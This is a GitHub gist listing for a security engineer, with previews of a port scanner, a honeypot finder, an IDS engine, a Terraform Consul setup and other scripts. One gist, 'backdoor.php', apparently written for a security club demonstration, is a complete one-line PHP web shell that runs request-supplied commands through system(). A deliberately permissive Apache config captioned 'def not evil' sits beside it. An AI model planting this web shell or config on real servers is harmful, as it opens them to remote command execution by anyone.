Kent Gruber picatz

✨

Graph Theory

Security Engineer

picatz / better_async_port_scanner.rb

Last active June 21, 2019 14:41

	#!/usr/bin/env ruby

	require 'async/io'
	require 'async/semaphore'

	def scan_port(host, port, timeout)
	Async do \|task\|
	task.with_timeout(timeout) do
	address = Async::IO::Address.tcp(host, port)
	Async::IO::Socket.connect(address).close

picatz / relaxo.svg

Created June 10, 2019 19:08

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picatz / find_honeypots.rb

Created May 28, 2019 19:34

	require 'async'
	require 'shodanz'

	client = Shodanz.client.new

	# Asynchronously stream banner info from shodan and check any
	# IP addresses against the experimental honeypot scoring service.
	client.streaming_api.banners do \|banner\|
	if ip = banner['ip_str']
	Async do

picatz / ids_with_example_rules.rb

Created April 5, 2019 17:30

Simple IDS with example rules

	require "packetgen"

	class IDS
	def initialize(interface: PacketGen.default_iface, &block)
	@rules = {}
	instance_eval &block
	PacketGen.capture(iface: interface) do \|packet\|
	@rules.each do \|header, blocks\|
	next unless packet.is? header
	blocks.each do \|block\|

picatz / ids.rb

Last active August 5, 2023 10:00

Simple intrusion detection system engine

	require "packetgen"

	class IDS
	def initialize(interface: PacketGen.default_iface, &block)
	@rules = {}
	instance_eval &block
	PacketGen.capture(iface: interface) do \|packet\|
	@rules.each do \|header, blocks\|
	next unless packet.is? header
	blocks.each do \|block\|

picatz / consul_dev_server_cluster_with_terraform_and_docker.tf

Created January 6, 2019 16:36

A consul development server example using terraform and docker.

	# Find consul image.
	resource "docker_image" "consul" {
	name = "consul"
	}

	# Basically doing the following command:
	# docker run -d --name=consul-server-1 -p 8500:8500 consul agent -dev -client=0.0.0.0 -bind=0.0.0.0
	resource "docker_container" "consul-bootstrap-server" {
	count = 1
	name = "consul-server-1"

picatz / backdoor.php

Created October 24, 2018 19:07

for IASA club example

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

picatz / apach2.conf

Created October 24, 2018 18:23

def not evil

	<VirtualHost *:80>
	<Directory />
	Options Indexes FollowSymLinks Includes ExecCGI
	AllowOverride All
	Require all granted
	Allow from all
	</Directory>

	<Files "*">
	order deny,allow

picatz / builderJS_example_clock.html

Created August 30, 2018 13:53

	<!DOCTYPE html>
	<html>
	<script src="https://cdn.rawgit.com/picatz/builderJS/8ca588fc/src/builder.js"></script>
	</html>

	<script>
	// instantiate a new builder
	var b = new Builder();

	// getTime() is a simple function to return the current

picatz / subfinder_v2_example_script.go

Last active August 29, 2018 22:35

	package main

	import (
	"fmt"

	"github.com/subfinder/research/core"
	"github.com/subfinder/research/core/sources"
	)

	func main() {